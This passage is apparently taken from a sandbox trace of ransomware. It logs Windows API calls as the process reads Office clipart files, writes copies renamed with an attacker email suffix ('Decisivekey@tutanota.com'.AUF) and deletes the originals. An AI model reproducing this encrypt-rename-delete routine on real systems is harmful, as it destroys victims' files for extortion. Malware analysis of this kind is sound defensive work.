lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString=".xls") returned 4 [0216.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.655] lstrlenW (lpString=".xlsx") returned 5 [0216.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.655] lstrlenW (lpString=".ppt") returned 4 [0216.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0216.655] lstrlenW (lpString=".zip") returned 4 [0216.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.655] lstrlenW (lpString=".rar") returned 4 [0216.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString=".bz2") returned 4 [0216.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString=".7z") returned 3 [0216.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0216.655] lstrlenW (lpString=".dbf") returned 4 [0216.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0216.655] lstrlenW (lpString=".1cd") returned 4 [0216.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0216.655] lstrlenW (lpString=".jpg") returned 4 [0216.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.656] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=28948) returned 1 [0216.656] CloseHandle (hObject=0x1e4) returned 1 [0216.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0216.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.656] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.656] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.656] GetLastError () returned 0x0 [0216.656] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7114, lpOverlapped=0x0) returned 1 [0216.663] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7120, lpOverlapped=0x0) returned 1 [0216.664] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.664] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.664] SetEndOfFile (hFile=0x21c) returned 1 [0216.664] CloseHandle (hObject=0x21c) returned 1 [0216.664] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.664] SetEndOfFile (hFile=0x1e4) returned 1 [0216.665] CloseHandle (hObject=0x1e4) returned 1 [0216.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0216.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0216.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0216.666] lstrlenW (lpString=".doc") returned 4 [0216.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString=".docx") returned 5 [0216.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.666] lstrlenW (lpString=".pdf") returned 4 [0216.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString=".xls") returned 4 [0216.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.666] lstrlenW (lpString=".xlsx") returned 5 [0216.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.666] lstrlenW (lpString=".ppt") returned 4 [0216.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0216.666] lstrlenW (lpString=".zip") returned 4 [0216.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.666] lstrlenW (lpString=".rar") returned 4 [0216.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString=".bz2") returned 4 [0216.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString=".7z") returned 3 [0216.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0216.666] lstrlenW (lpString=".dbf") returned 4 [0216.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0216.666] lstrlenW (lpString=".1cd") returned 4 [0216.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0216.666] lstrlenW (lpString=".jpg") returned 4 [0216.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.667] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=22516) returned 1 [0216.667] CloseHandle (hObject=0x1e4) returned 1 [0216.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0216.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.668] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.668] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.668] GetLastError () returned 0x0 [0216.668] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0216.679] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0216.680] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.680] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.680] SetEndOfFile (hFile=0x21c) returned 1 [0216.680] CloseHandle (hObject=0x21c) returned 1 [0216.680] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.680] SetEndOfFile (hFile=0x1e4) returned 1 [0216.681] CloseHandle (hObject=0x1e4) returned 1 [0216.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0216.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0216.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0216.682] lstrlenW (lpString=".doc") returned 4 [0216.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString=".docx") returned 5 [0216.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.682] lstrlenW (lpString=".pdf") returned 4 [0216.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString=".xls") returned 4 [0216.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.682] lstrlenW (lpString=".xlsx") returned 5 [0216.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.682] lstrlenW (lpString=".ppt") returned 4 [0216.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0216.682] lstrlenW (lpString=".zip") returned 4 [0216.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.682] lstrlenW (lpString=".rar") returned 4 [0216.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString=".bz2") returned 4 [0216.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString=".7z") returned 3 [0216.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0216.682] lstrlenW (lpString=".dbf") returned 4 [0216.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0216.682] lstrlenW (lpString=".1cd") returned 4 [0216.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0216.682] lstrlenW (lpString=".jpg") returned 4 [0216.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.682] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=17236) returned 1 [0216.683] CloseHandle (hObject=0x1e4) returned 1 [0216.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0216.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.683] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.683] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.683] GetLastError () returned 0x0 [0216.683] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4354, lpOverlapped=0x0) returned 1 [0216.918] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0216.921] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.921] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.921] SetEndOfFile (hFile=0x21c) returned 1 [0216.921] CloseHandle (hObject=0x21c) returned 1 [0216.921] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.921] SetEndOfFile (hFile=0x1e4) returned 1 [0216.922] CloseHandle (hObject=0x1e4) returned 1 [0216.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0216.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0216.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0216.922] lstrlenW (lpString=".doc") returned 4 [0216.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.922] lstrlenW (lpString=".docx") returned 5 [0216.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.923] lstrlenW (lpString=".pdf") returned 4 [0216.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.923] lstrlenW (lpString=".xls") returned 4 [0216.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.923] lstrlenW (lpString=".xlsx") returned 5 [0216.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.923] lstrlenW (lpString=".ppt") returned 4 [0216.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0216.923] lstrlenW (lpString=".zip") returned 4 [0216.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.923] lstrlenW (lpString=".rar") returned 4 [0216.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.923] lstrlenW (lpString=".bz2") returned 4 [0216.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.923] lstrlenW (lpString=".7z") returned 3 [0216.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0216.923] lstrlenW (lpString=".dbf") returned 4 [0216.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0216.923] lstrlenW (lpString=".1cd") returned 4 [0216.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0216.923] lstrlenW (lpString=".jpg") returned 4 [0216.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.923] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=15733) returned 1 [0216.923] CloseHandle (hObject=0x1e4) returned 1 [0216.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0216.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.924] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.924] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.924] GetLastError () returned 0x0 [0216.924] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0216.943] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0216.944] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.944] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.944] SetEndOfFile (hFile=0x21c) returned 1 [0216.944] CloseHandle (hObject=0x21c) returned 1 [0216.945] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.945] SetEndOfFile (hFile=0x1e4) returned 1 [0216.945] CloseHandle (hObject=0x1e4) returned 1 [0216.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0216.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0216.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0216.946] lstrlenW (lpString=".doc") returned 4 [0216.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.946] lstrlenW (lpString=".docx") returned 5 [0216.946] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.946] lstrlenW (lpString=".pdf") returned 4 [0216.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.946] lstrlenW (lpString=".xls") returned 4 [0216.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.946] lstrlenW (lpString=".xlsx") returned 5 [0216.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.946] lstrlenW (lpString=".ppt") returned 4 [0216.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0216.947] lstrlenW (lpString=".zip") returned 4 [0216.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.947] lstrlenW (lpString=".rar") returned 4 [0216.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.947] lstrlenW (lpString=".bz2") returned 4 [0216.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.947] lstrlenW (lpString=".7z") returned 3 [0216.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0216.947] lstrlenW (lpString=".dbf") returned 4 [0216.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0216.947] lstrlenW (lpString=".1cd") returned 4 [0216.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0216.947] lstrlenW (lpString=".jpg") returned 4 [0216.947] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.947] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=8772) returned 1 [0216.947] CloseHandle (hObject=0x1e4) returned 1 [0216.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0216.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.948] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.948] SetFilePointerEx (in: hFile=0x1e4, 